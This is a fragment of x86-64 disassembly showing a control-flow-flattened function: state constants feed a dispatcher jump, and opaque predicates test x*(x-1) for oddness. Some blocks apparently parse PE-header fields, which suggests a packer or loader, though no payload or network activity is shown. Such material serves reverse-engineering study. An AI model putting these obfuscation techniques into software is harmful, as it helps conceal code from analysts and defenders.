mov ecx, 0x9aec52db
cmove eax, ecx
jmp 0x1400071dd
mov qword [rsp + 0x78], r15
mov rax, qword [rsp + 0x78]
mov eax, dword [rax]
mov dword [rsp + 0x64], eax
cmp dword [rsp + 0x64], 0
mov eax, 0x8dc878e1
mov ecx, 0xcfff2381
cmove eax, ecx
jmp 0x1400071dd
mov eax, 0xd4009ca0
jmp 0x1400071dd
mov eax, dword [rsp + 0x60]
mov qword [rsp + 0x118], rax
mov eax, 0x31b6653b
jmp 0x1400071dd
mov eax, 0x9cbfd823
jmp 0x1400071dd
mov rax, qword [rsp + 0xa0]
add rax, 1
mov qword [rsp + 0x130], rax
mov eax, 0x70fd13e
jmp 0x1400071dd
mov eax, 0xe6943b5f
jmp 0x1400071dd
mov eax, 0x24d6b946
jmp 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x36cca450
mov ecx, 0x3c47dc6f
jmp 0x1400071d0
mov eax, 0x99601fa8
mov r13, qword [rsp + 0x130]
jmp 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc964ea69
mov ecx, 0x5e4f8ce4
jmp 0x1400071d0
mov eax, 0x574ff913
jmp 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc964ea69
mov ecx, 0x9cbfd823
jmp 0x1400071d0
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdb1840aa
cmove eax, ebx
cmp dword [0x140038adc], 0xa
cmovl eax, ebx
jmp 0x1400071dd
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x70]
add rax, rcx
add rax, 2
mov qword [rsp + 0x160], rax
mov eax, 0x688ca14b
jmp 0x1400071dd
mov rax, qword [rsp + 0x50]
mov r8d, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x38]
mov rdx, rsi
call fcn.14002a340
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6161cbba
mov ecx, 0x134cf88
jmp 0x1400071d0
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x10]
add rax, qword [rsp + 0x40]
mov qword [rsp + 0xf8], rax
mov eax, 0x68a10140
jmp 0x1400071dd
mov eax, dword [rsp + 0x48]
add rax, qword [rsp + 0x40]
mov qword [rsp + 0x140], rax
mov eax, 0x6c5d2c24
jmp 0x1400071dd
movsxd rax, dword [rsi + 0x3c]
mov qword [rsp + 0xc0], rax
mov eax, 0x5cdfe43
jmp 0x1400071dd
cmp byte [rsp + 0x29], 0
mov eax, 0x168e0cdb
mov ecx, 0x23a92bf0
cmovne eax, ecx
jmp 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x87bc28f4
mov ecx, 0x5c88501
jmp 0x1400071d0
mov eax, 0xf4fdaff4
jmp 0x1400071dd
mov eax, dword [rsp + 0xb8]
add rax, qword [rsp + 0x38]
mov qword [rsp + 0xd0], rax
mov eax, 0x7d951155
jmp 0x1400071dd
mov rax, qword [rsp + 0x38]
mov eax, 0xe6cb81a1
jmp 0x1400071dd
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfa2598e9
mov ecx, 0x4bb2815f
jmp 0x1400071d0
mov eax, 0xdaeb079d
jmp 0x1400071dd
mov eax, 0x3b4ab9ca
jmp 0x1400071dd
mov eax, 0xa83e2f42
jmp 0x1400071dd
mov rax, qword [rsp + 0x90]
mov eax, dword [rax]
mov dword [rsp + 0x68], eax
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xef1a925b
mov ecx, 0x107abaa3
jmp 0x1400071d0
cmp eax, 0x5abe46fc
jne 0x1400071dd
xor eax, eax
add rsp, 0x178
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret